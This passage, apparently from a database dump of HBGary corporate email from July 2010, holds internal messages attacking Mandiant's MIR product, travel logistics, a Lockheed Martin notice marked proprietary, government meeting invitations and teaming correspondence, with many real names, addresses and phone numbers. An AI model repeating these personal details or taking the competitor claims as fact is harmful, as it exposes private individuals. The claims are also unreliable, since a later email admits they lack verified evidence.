cracked the case on NTFS while we were still in the\r\ndowntown office (that was last year, working in a one-room motel, didn\'t curb\r\nShawn\'s uber hard core skillz).&nbsp; Mandiant has not been able to overcome\r\nthese same technical challenges in this (not a surprise, its hard!) - and as a\r\nresult, they cannot recover NTFS files from the drive, except in the most\r\ntrivial of circumstances (by trivial, we mean 99.98% of the time Mandiant\r\ndoesn\'t work).&nbsp; Stated clearly, Mandiant cannot acquire an accurate image\r\nof a file on disk.&nbsp; This means Mandiant cannot function as a forensic tool\r\nin the Enterprise, period.&nbsp; They basically don\'t work.&nbsp; (If you want\r\ntechnical details, I can give them to you, but basically Mandiant is not\r\nparsing NTFS properly and thus file recovery is corrupted in almost all cases)\r\n\r\n\r\n\r\nI have\r\nnever, in my entire involvement with the security industry, ever encountered a\r\nproduct so poorly executed and so clearly half-implemented as Madiant\'s\r\nMIR.&nbsp; Their &quot;APT&quot; marketing campaign borders on\r\nfalse-advertising, and their execution ridicules their customers.&nbsp; This\r\nis&nbsp;fact: I met a customer last week who had paid for two years of Mandiant\r\nservice (thats $200k)&nbsp;without a single individual malware being reported\r\n(read: not a single, solitary instance - not one!)&nbsp;borders on\r\nnegligence.&nbsp; Since Mandiant is HBGary\'s only competition, we should revel\r\nin the fact they are so&nbsp;__BAD__ at what they do.&nbsp; Kevin Mandia should\r\nbe ashamed, ASHAMED at what he has done.&nbsp; His customers deserve better,\r\nand we are going to take it from him.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2990 - Release Date: 07/13/10\r\n02:36:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4215,'aaron_hbgary_com/4215.html'),(8483,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006554.M638129P14101Q3338.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: EXTERNAL:Hey','---------- Forwarded message ----------From: Howarth, Glenn A (IS) &lt;glenn.howarth@ngc.com&gt;\r\nDate: Tue, Jul 13, 2010 at 11:50 AMSubject: RE: EXTERNAL:HeyTo: Ted Vera &lt;ted@hbgary.com&gt;Cc: &quot;Oxfurth, Keith A (IS)&quot; &lt;keith.oxfurth@ngc.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Ted!  Nice to hear from you, I hope you all had a great\r\ntime on vacation.  I think I need to start going three times a year myself…\r\nhmm I need to figure out how to do that.\r\n\r\n \r\n\r\nI will not be going to Blackhat, but Keith is going to be there,\r\nKeith can you meet with Ted and see their capabilities?\r\n\r\n \r\n\r\nThanks,\r\n\r\nGlenn\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 1:03 PM\r\nTo: Howarth, Glenn A (IS)\r\nSubject: EXTERNAL:Hey\r\n\r\n\r\n\r\n \r\n\r\nHi Glenn,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHow&#39;s it going?  I just got back from a family vacation\r\nin Naples Florida, the condo is great.  We had a good time.  I&#39;m\r\ntrying to drum up some work, we&#39;ve been working hard to develop some very\r\nunique capabilities.  We&#39;re briefing our Fingerprint tool at Blackhat,\r\nwill you be there?  It&#39;s our attempt to start solving the attribution\r\nproblem.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAttached is a whitepaper that describes our latest\r\nEnterprise product, Active Defense.  Please pass it along to anyone that\r\nyou think might be interested.  Hope all is well.  How are your\r\ncontracts going?  Have you done any underwater photography lately?  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',15795,'aaron_hbgary_com/15795.html'),(8484,'2010-07-13','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006555.M342499P14101Q3340.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>','RE: Need GFirst Conference and BlackHat Flight info.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks DeeAnn,\r\n\r\n \r\n\r\nI’m assuming that we need to be\r\nat Blackhat from the 27th – 29th?  Is that correct?\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: DeeAnn Buonaccorsi\r\n[mailto:deeann@hbgary.com] \r\nSent: Tuesday, July 13, 2010 1:05 PM\r\nTo: &#39;Bob Slapnik&#39;; &#39;Maria Lucas&#39;; rich@hbgary.com; &#39;Aaron Barr&#39;;\r\n&#39;Michael G. Spohn&#39;\r\nSubject: Need GFirst Conference and BlackHat Flight info.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi to all,\r\n\r\n \r\n\r\nI am going to make flight arrangements today for Gfirst And\r\nBlackHat.\r\n\r\n \r\n\r\nBlack Hat attendees -  Mike, Rich and Aaron:\r\n  I need to know what date and time you will be leaving for Las\r\nVegas?  What airport will you be leaving from?\r\n\r\n \r\n\r\n GFirst attendees – Bob, Rich Maria and Aaron: \r\nNeed to know what date and time you will be leaving for San Antonio? \r\n What Airport will you be leaving from? \r\n\r\n \r\n\r\nPlease get back to me as soon as possible.  \r\n\r\n \r\n\r\nThanks\r\n\r\n \r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.  Suite 250\r\n\r\nSacramento,\r\nCA  95864\r\n\r\nTel: \r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail \r\ndeeann@hbgary.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',3357,'aaron_hbgary_com/3357.html'),(8485,'2010-07-13','\"Fidelis Security Systems\" <Fidelis_Security_Systems@mail.vresp.com>','/aaron@hbgary.com/new/1297006555.M47367P14101Q3339.eml','aaron@hbgary.com','Webinar: Shaken, not Stirred - Preventing Cyber Attacks. Register Today!','\r\n\r\n\r\n\r\n\r\n\r\nFidelis Security Systems - Webinar\r\n\r\n\r\nbody{\r\n	font-family:Arial, Helvetica, sans-serif;\r\n	}\r\n.h1 {\r\n	font-family:Arial, Helvetica, sans-serif;\r\n    font-size:19px;\r\n	font-weight:bold;\r\n	color:red;\r\n	display:inline;\r\n}	\r\n.body{\r\n	font-size:12px;\r\n}\r\n.tile{\r\n	background:#FFFFFF url(http://www.fidelissecurity.com/images/invite/invite_tile.gif) repeat-x top;\r\n}\r\n.greenHead th{\r\n	background-color:#99a651;\r\n	color:white;\r\n	font-weight:bold;\r\n	font-size:16px;\r\n	text-align:left;\r\n	padding:2px 0px 2px 5px;\r\n}\r\n\r\n.greenHead td{\r\n	font-size:12px;\r\n	padding:2px 2px 8px 8px;\r\n\r\n}\r\n.greenHead{\r\n	margin:0px 10px 0px 0px;\r\n	border:1px solid #666;\r\n}\r\n.greenHead li{\r\n	font-size:14px;\r\n	font-weight:bold;\r\n	color:#800000;\r\n	margin-left:10px;\r\n	list-style-image:url(http://www.fidelissecurity.com/images/invite/list.gif);\r\n	\r\n}\r\n.style1 {color: #7c8b94}\r\n.style2 {color: #5b686f; padding-top:10px}\r\n.style3 {font-size: x-small}\r\n\r\n.style4 {\r\n	color: #800000;\r\n	font-weight: bold;\r\n	font-size:14px;\r\n}\r\n.copy{\r\n	font-style:italic;\r\n	font-size:9px;\r\n	padding-top:10px;\r\n}\r\n\r\n.eventHead{\r\n	background-color:#f2f2f2;	\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n\r\n      \r\n        \r\n          As advanced and persistent threats&mdash;such as phishing and malware attacks&mdash;constantly morph, it is critical to stay ahead of the threat.\r\n          \r\n        \r\n          \r\n  \r\n  \r\n\r\n    \r\n  \r\n  \r\n    &nbsp;\r\n      As evidenced in the news on a nearly daily basis, today&#39;s threat actors are continually evolving their attack methods and using attacks where traditional security tools&mdash;particularly signature-based products&mdash;struggle.\r\n        \r\n        To date, the limited amount of threat intelligence data available has been trapped in products offering only partial visibility into network traffic and minimal coverage of a small number of ports and protocols. \r\n        \r\n\r\n        Why Deploy Actionable Threat  Intelligence?\r\n      \r\n      \r\n        Transform dynamic threat intelligence data into  actionable threat mitigation policies automatically.\r\n          \r\n        \r\n        Greatly reduce threat mitigation cost and  time-to-safety.\r\n\r\n          \r\n        \r\n        Operationalize threat intelligence across all  ports to stay ahead of the threat, as many advanced threats are port-agile.\r\n          \r\n        \r\n        Enforce threat intelligence policies at  throughputs up to multiple Gigabits per second in a single devise to protect  all enterprise ingress and egress traffic with a single box.\r\n          \r\n        \r\n\r\n        Enable fine-grained policy decisions through enforced policies that combine  dynamic threat intelligence with other factors.\r\n      \r\n      What Will I Learn?\r\n        \r\nLearn how  automatic and real-time visibility and control of known malicious threat actors  attempting to steal information and compromise your computer networks can  enable your organization to prevent cyber attacks with a higher level of  automated intelligence sharing and increased situational awareness.&nbsp; Register today! \r\n    &nbsp; \r\n\r\n    &nbsp;\r\n      \r\n        \r\n        Register to Attend This Complimentary Webinar\r\n      \r\n      \r\n        &nbsp;\r\n      \r\n\r\n      \r\n        Shaken, not Stirred: Preventing Cyber Attacks through  the Use of Actionable Threat Intelligence\r\n            Speakers: \r\n          Eric Olsen, VP Solutions Assurance, Cyveillance\r\n          Kurt Bertone, VP Strategic Alliances, Fidelis Security Systems\r\n          \r\n          July 21, 2010, 1pm EST\r\n\r\nRegister\r\n        \r\n      \r\n      \r\n        &nbsp;\r\n      \r\n      \r\n        See it In Action! \r\n\r\n          Check out our 4-minute demo of  Actionable Threat Intelligence with Fidelis XPS and Cyveillance Cyber  Intelligence feeds on YouTube&nbsp;\r\n      \r\n          &nbsp;\r\n  \r\n  \r\n    Copyright &copy; 2010 Fidelis Security Systems. the Fidelis Security Systems logo are registered trademarks of Fidelis Security Systems.\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n         Click to view this email in a browser\r\n         \r\n         \r\n       If you no longer wish to receive these emails, please reply to this message with \"Unsubscribe\" in the subject line or simply click on the following link: \r\n \r\nUnsubscribe\r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n                  Fidelis Security Systems\r\n        4416 East West Highway\r\n        Suite 310\r\n        Bethesda, Maryland 20814\r\n\r\n        \r\n          \r\nRead the VerticalResponse marketing policy.\r\n\r\n\r\n        \r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n \r\n',5205,'aaron_hbgary_com/5205.html'),(8486,'2010-07-13','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006555.M579497P14101Q3341.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,','Re: Huge deficiency discovered in Mandiant today',' \r\nDon&#39;t reference their manual to anyone - prospect or not.  In fact, we have no access to their product so we can&#39;t say for certain what it does or doesn&#39;t do - we can leave it at that.  It is clear that our software is superior.  We have a solid, forensically sound architecture and we invest alot into testing &amp; verification of this - both in physical memory and on disk.  I agree with Shawn that we shouldn&#39;t mud-sling unless we have solid verified evidence that something is broken in Mandiant&#39;s product - which we don&#39;t at this time.  It is unclear what the issue is exactly w/ their NTFS features - but this doesn&#39;t change the fact that their software is shoddy, as well as their service to their customers, and we should be able to unseat them.\r\n\r\n-Greg\r\nOn Tue, Jul 13, 2010 at 10:24 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nBob,\r\nI wouldn’t start saying the bad guy is going to do this or that… I would just say that the approach they use incomplete and inaccurate from a forensic stand-point BASED ON THEIR MANUAL.  Don’t try to get into the weeds with wild predictions, keep it high level.  These things will be easy to test against an Active Defense or Encase Enterprise or Access Data.\r\n\r\n \r\nRC\r\n \r\n\r\n\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] Sent: Tuesday, July 13, 2010 1:18 PM \r\nTo: all@hbgary.com; &#39;Karen Burke&#39;\r\n\r\n\r\nSubject: RE: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\n\r\n \r\nShawn,\r\n \r\nCan the bad guy use this info to hide their presence on disk so that Mandiant MIR can’t find them?\r\n \r\nHow could this poor implementation mess up an investigation?\r\n \r\nCrummy technology is one thing, but pointing to real pain caused by bad software is useful for my selling purposes.\r\n \r\n\r\nBob \r\n \r\n\r\n\r\nFrom: Shawn Bracken [mailto:shawn@hbgary.com] Sent: Tuesday, July 13, 2010 12:26 PM\r\nTo: &#39;Greg Hoglund&#39;; all@hbgary.com; &#39;Karen Burke&#39;Subject: RE: Huge deficiency discovered in Mandiant today\r\n \r\nFor those who are curious where we got this from, it came straight from Mandiant!:\r\n \r\nQuoted verbatim from the Mandiant Mir v1.4 user manual in the section regarding their raw file support:\r\n \r\n“NOTE: A file can take multiple clusters of storage space on a disk. If the file is appended to at a later time, then the additional clusters needed may not immediately follow the initial ones. Such a file is called fragmented. If a fragmented file and another file that lie between the original and appended clusters are both deleted, then the acquisition of the fragmented file will appear incorrectly to succeed. A file of the proper size will be acquired, but the contents will be wrong, CONTAINING PARTS OF BOTH FILES”\r\n\r\n \r\nTranslation: They haven’t figured out how NTFS/Windows describes and manages non-contiguous file storage. HBGary does not suffer from such laughable restrictions.\r\n\r\n \r\n\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] Sent: Monday, July 12, 2010 10:22 PM\r\nTo: all@hbgary.com; Karen BurkeSubject: Huge deficiency discovered in Mandiant today\r\n \r\nHuge deficiency discovered in Mandiant today\r\nShawn discovered that MIR does not offer forensically sound, or even accurate, disk acquisition.  Last week, we discovered that Mandiant does not even perform physical memory assessment at the end-node - they only appear to do so in their marketing materials.  In real life, you have to download the physmem to a local analyst workstation and use Memoryze for every host, one-by-one.  While this is a compelling value-add for HBGary since we can do this in a distributed fashion, this pales in comparison to the discovery today that Mandiant cannot even examine the disk.  We thought, the one thing that MIR apparently had going for it was the ability to discover disk-based IOC&#39;s at the end node.  Today, Shawn discovered that MIR doesn&#39;t actually do this either - they have incomplete half-implemented code to deal with NTFS.  To deal with files using raw NTFS, you have to know how NTFS works - this is something that only HBGary, Guidance, and Access Data have been able to do (apparently).  Hats off to Shawn, in fact, since he was the one who finally cracked the case on NTFS while we were still in the downtown office (that was last year, working in a one-room motel, didn&#39;t curb Shawn&#39;s uber hard core skillz).  Mandiant has not been able to overcome these same technical challenges in this (not a surprise, its hard!) - and as a result, they cannot recover NTFS files from the drive, except in the most trivial of circumstances (by trivial, we mean 99.98% of the time Mandiant doesn&#39;t work).  Stated clearly, Mandiant cannot acquire an accurate image of a file on disk.  This means Mandiant cannot function as a forensic tool in the Enterprise, period.  They basically don&#39;t work.  (If you want technical details, I can give them to you, but basically Mandiant is not parsing NTFS properly and thus file recovery is corrupted in almost all cases)\r\n\r\n\r\nI have never, in my entire involvement with the security industry, ever encountered a product so poorly executed and so clearly half-implemented as Madiant&#39;s MIR.  Their &quot;APT&quot; marketing campaign borders on false-advertising, and their execution ridicules their customers.  This is fact: I met a customer last week who had paid for two years of Mandiant service (thats $200k) without a single individual malware being reported (read: not a single, solitary instance - not one!) borders on negligence.  Since Mandiant is HBGary&#39;s only competition, we should revel in the fact they are so __BAD__ at what they do.  Kevin Mandia should be ashamed, ASHAMED at what he has done.  His customers deserve better, and we are going to take it from him.\r\n\r\n\r\n \r\n\r\n-Greg\r\n \r\nNo virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.830 / Virus Database: 271.1.1/2990 - Release Date: 07/13/10 02:36:00\r\n\r\n',11444,'aaron_hbgary_com/11444.html'),(8487,'2010-07-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006555.M834515P14101Q3342.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: UNO - Lynx Task Order Announcement - Lockheed Martin Proprietary 	Information','Sent from my iPadBegin forwarded message:From: &quot;Staley, Ryan E&quot; &lt;ryan.e.staley@lmco.com&gt;\r\nDate: July 13, 2010 1:11:45 PM EDTTo: &quot;Staley, Ryan E&quot; &lt;ryan.e.staley@lmco.com&gt;Cc: &quot;Watson, Charles M&quot; &lt;charles.m.watson@lmco.com&gt;, &quot;Racz, James M&quot; &lt;james.m.racz@lmco.com&gt;, &quot;Curtis, Colleen A&quot; &lt;colleen.a.curtis@lmco.com&gt;, &quot;Lentz, Jason M&quot; &lt;jason.m.lentz@lmco.com&gt;\r\nSubject: UNO - Lynx Task Order Announcement - Lockheed Martin Proprietary Information\r\n\r\n\r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nDear UNO Suppliers:\r\n\r\n \r\n\r\nThe Lockheed\r\nMartin UNO PMO is expecting to receive a Statement of Work for Task\r\nOrder Lynx on/about the forth week of July, 2010.  Lynx is\r\nexpected to be a twelve month Cost Plus Fixed Fee – Completion (CPFF)\r\neffort. \r\n\r\n \r\n\r\nLynx is an 802.11 tool development. To be\r\nconsidered qualified, interested suppliers must have significant 802.11\r\nexperience.. \r\n\r\n \r\n\r\nIf you are\r\ninterested in, and have the capabilities to meet the basic requirements of this\r\ntask order, then please provide a written initial\r\nconfirmation of your interest via email to Ryan Staley, UNO Subcontracts\r\nAdministrator, at ryan.e.staley@lmco.com and\r\nJim Racz, UNO LSE, at james.m.racz@lmco.com\r\nby NLT noon (12pm) on Fri 7/16.  In your confirmation response to\r\nLMCO, please be sure to confirm your Security POC name, phone, and fax numbers\r\n(classified and unclassified).  You must also complete and return the\r\nattached Day Zero Exhibit I (Initial) Initial Task Order Questionnaire for\r\nClassified Information Exchange attached. \r\n\r\n \r\n\r\nAfter this\r\nnotification, a Lynx Reading Room will be available to view a draft\r\nStatement of Work which will not be promulgated via FAX.  The Reading Room\r\nwill only be available for those that have provided written notification\r\nof their continuing interest.  The reading room will be available 21-23\r\nJuly from 0800-1600 in one hour segments.  Please call or email Jim Racz\r\n(703-466-3314) james.m.racz@lmco.com \r\nto set up an appointment.  A TS/ISA or S/ISA clearance with\r\nour Sponsor must be on file at UNO to review the draft Lynx SOW in the\r\nReading Room. \r\n\r\n \r\n\r\nProgram\r\nManager and at least one operations support person for Task Order Lynx\r\nmust currently possess a TS/ISSA security\r\nclearance and be available on day 1. \r\nAll others supporting this Task Order must be S/ISA at a minimum.  Please\r\nnote that other security requirements may be promulgated at a later date.\r\n\r\n  \r\n\r\nThe\r\nfollowing is our current projected schedule:\r\n\r\n \r\n\r\n \r\n\r\nO/A July\r\n21                 \r\nReading Room available for SOW review\r\n\r\nAugust\r\n2                     \r\nBeginning of 10-day task order process – UNO PMO sends RFP to solicited\r\nbidders\r\n\r\nAugust\r\n23                   \r\nTask order winner is selected\r\n\r\nSeptember\r\n1               \r\nAuthorization to proceed on contract\r\n\r\n \r\n\r\n \r\n\r\nCurrently\r\nit is expected that the work required for Lynx will be up to the SECRET\r\nlevel.  By the time of contract award, you must have the capability\r\nto receive, process, and store SECRET classified material from the UNO Sponsor.\r\n\r\n \r\n\r\nShould\r\nyou have any further questions regarding this, please do not hesitate to\r\ncontact me.\r\n\r\n \r\n\r\nThank\r\nyou,\r\n\r\n \r\n\r\nRyan\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4344,'aaron_hbgary_com/4344.html'),(8488,'2010-07-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006556.M296530P14101Q3344.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: Invitation: Brian Hibbeln','FYI.  I have received an invitation to attend these thursday meetings.  Senior government folks that own cyber mission throughout government, discussions at TS/SCI.\r\nNow just need to turn in to work.AaronSent from my iPadBegin forwarded message:From: &quot;Tubbs, Gregory [Ctr]&quot; &lt;tubbsg@atac.mil&gt;\r\nDate: July 13, 2010 2:51:59 PM EDTTo: &quot;&#39;aaron@hbgary.com&#39;&quot; &lt;aaron@hbgary.com&gt;Cc: &quot;&#39;Hibbeln, Brian, Mr, OSD-ATL&#39;&quot; &lt;Brian.Hibbeln@osd.mil&gt;\r\nSubject: Invitation:  Brian HibbelnAaron....I work with Brian Hibbeln.  We are hosting the EUCOM J39...COL Chuck Eassa, Thurs 15 July from 1600-1900.  Food will be provided so that we can talk uninterrupted.  \r\nChuck has CYBER, IO, IW and Space in his portfolio.Chucks overwhelming interest in this venue is CYBER.  EUCOM is considering a EUCOM CYBER conference for the fall.\r\nMany aspects of CYBER will be discussed, entire meeting will be hosted up to TS/SCI...with appropriate side bars, when appropriate.We think you will find it of interest.  Informal discussion of what matters to EUCOM.\r\nR/Greg\r\n',9191,'aaron_hbgary_com/9191.html'),(8489,'2010-07-13','\"Trae Stephens\" <tstephens@palantir.com>','/aaron@hbgary.com/new/1297006556.M516201P14101Q3345.eml','\"pnl\" <pnl@palantir.com>','TONIGHT! Palantir Night Live w/ Vint Cerf','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPNL Attendees:\r\n\r\n&nbsp;\r\n\r\nJust another reminder that Palantir Night Live is tonight\r\nand will start at 6:30pm.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWe are starting a new tradition this evening as well&#8230;the\r\nSURF NINJA CHALLENGE!&nbsp; Think you are good at searching the web for trivia\r\nnuggets?&nbsp; Prove it tonight.&nbsp; Prizes for the winners.&nbsp; Contest will start\r\npromptly at 6:35pm.\r\n\r\n&nbsp;\r\n\r\nLet me know if you have any questions.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nTrae&#8217;\r\n\r\n&nbsp;\r\n\r\nTrae Stephens\r\nPalantir Technologies | Forward Deployed Engineer\r\ntstephens@palantirtech.com | 202.510.2587\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16150,'aaron_hbgary_com/16150.html'),(8490,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006556.M802922P14101Q3346.eml','\"Chisholm, Chris (US SSA)\" <robert.chisholm@baesystems.com>,\"Chisholm, Chris (US SSA)\" <robert.chisholm@baesystems.com>,','Re: NDA for ASTEROID Teaming Discussions','On Tue, Jul 13, 2010 at 1:38 PM, Chisholm, Chris (US SSA) &lt;robert.chisholm@baesystems.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nAs John discussed with you, the Government has finally\r\nissued their Sources Sought and we have initiated our teaming process.  We\r\nbelieve there is a particularly good fit for HB Gary.  Therefore, we would\r\nlike to get an NDA in place so that we can hold teaming discussions for ASTEROID.\r\n Below is the information I need to get an NDA underway:\r\n\r\n \r\n\r\nTechnical POC:  Mark Trynor\r\n\r\nAddress: 103 S. Wahsatch Ave.\r\n\r\nCity, State, Zip:  Colorado Springs CO 80903\r\n\r\nOffice #:  916-459-4727 ext 125\r\n\r\nFax #:  720-836-4208\r\n\r\nE-Mail: mark@hbgary.com         \r\n\r\n \r\n\r\nContractual POC:  Ted Vera\r\n\r\nAddress: Same as above.\r\nCity, State, Zip:  Same as above.\r\n\r\nOffice #:  916-459-4727 ext 118\r\n\r\nFax #:720-836-4208\r\n\r\nE-Mail:  ted@hbgary.com\r\n\r\n \r\n\r\nAs soon as I get your information I will pass it to our\r\nSubcontracts Administrator, Ginger Cobb, who will complete and forward the NDA\r\nto you.\r\n\r\n \r\n\r\nI look forward to a successful partnership.\r\n\r\n \r\n\r\nRegards,\r\n\r\nChris\r\n\r\n \r\n\r\n \r\n\r\nRobert\r\nH. (Chris) Chisholm\r\n\r\nBAE\r\nSystems Aerospace Solutions\r\n\r\nManager,\r\nMission Solutions Development\r\n\r\n3060\r\nVenture Lane, Suite 102\r\n\r\nMelbourne,\r\nFL  32934\r\n\r\nOffice: \r\n321-757-5249 ext 1934\r\n\r\nCell: \r\n321-431-0966\r\n\r\nFax: \r\n321-259-8181\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',712,'aaron_hbgary_com/712.html'),(8491,'2010-07-13','\"Tubbs, Gregory [Ctr]\" <tubbsg@atac.mil>','/aaron@hbgary.com/new/1297006556.M83828P14101Q3343.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>','Invitation:  Brian Hibbeln','Aaron....I work with Brian Hibbeln.  We are hosting the EUCOM J39...COL Chuck Eassa, Thurs 15 July from 1600-1900.  Food will be provided so that we can talk uninterrupted.  \r\n\r\nChuck has CYBER, IO, IW and Space in his portfolio.\r\n\r\nChucks overwhelming interest in this venue is CYBER.  EUCOM is considering a EUCOM CYBER conference for the fall.\r\n\r\nMany aspects of CYBER will be discussed, entire meeting will be hosted up to TS/SCI...with appropriate side bars, when appropriate.\r\n\r\nWe think you will find it of interest.  Informal discussion of what matters to EUCOM.\r\n\r\nR/Greg\r\n',7065,'aaron_hbgary_com/7065.html'),(8492,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006557.M276360P14101Q3348.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: NDA for ASTEROID Teaming Discussions','FYI ------------ Forwarded message ----------From: Chisholm, Chris (US SSA) &lt;robert.chisholm@baesystems.com&gt;\r\nDate: Tue, Jul 13, 2010 at 2:08 PMSubject: RE: NDA for ASTEROID Teaming DiscussionsTo: Ted Vera &lt;ted@hbgary.com&gt;Cc: &quot;jrcrouse@comcast.net&quot; &lt;jrcrouse@comcast.net&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nI should be back out there next week.  Hopefully we can hook up.\r\n\r\n \r\n\r\nRegards,\r\n\r\nChris\r\n\r\n \r\n\r\nRobert H. (Chris) Chisholm\r\n\r\nBAE Systems Aerospace Solutions\r\n\r\nManager, Mission Solutions Development\r\n\r\n3060 Venture Lane, Suite 102\r\n\r\nMelbourne, FL  32934\r\n\r\nOffice:  321-757-5249 ext 1934\r\n\r\nCell:  321-431-0966\r\n\r\nFax:  321-259-8181\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 4:07 PM\r\nTo: Chisholm, Chris (US SSA)\r\nSubject: Re: NDA for ASTEROID Teaming Discussions\r\n\r\n\r\n\r\n \r\n\r\nThanks Chris,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI just replied with the information you requested.\r\n Please let me know the next time you&#39;ll be in Colorado Springs so we can\r\nmeet face-to-face.  I&#39;d welcome the opportunity to provide you with an\r\noverview of our capabilities and learn about BAE&#39;s cyber interests.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',15634,'aaron_hbgary_com/15634.html'),(8493,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006557.M498353P14101Q3349.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary','fyi---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;Date: Tue, Jul 13, 2010 at 10:57 AM\r\nSubject: HBGaryTo: Glenn Bearden &lt;gbearden@peakdatasys.com&gt;Hi Glenn,Attached are three whitepapers which describe our core capabilities.  We specialize in malware.  Malware detection, reverse engineering, exploit development, incident response, and digital forensics.  If you think any of your customers would be interested in our capabilities I would appreciate an email introduction.  Best of luck to you, please let me know how things work out with Jeff.\r\n\r\nRegards,Ted-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',13651,'aaron_hbgary_com/13651.html'),(8494,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006557.M706397P14101Q3350.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Asteroid','---------- Forwarded message ----------From: 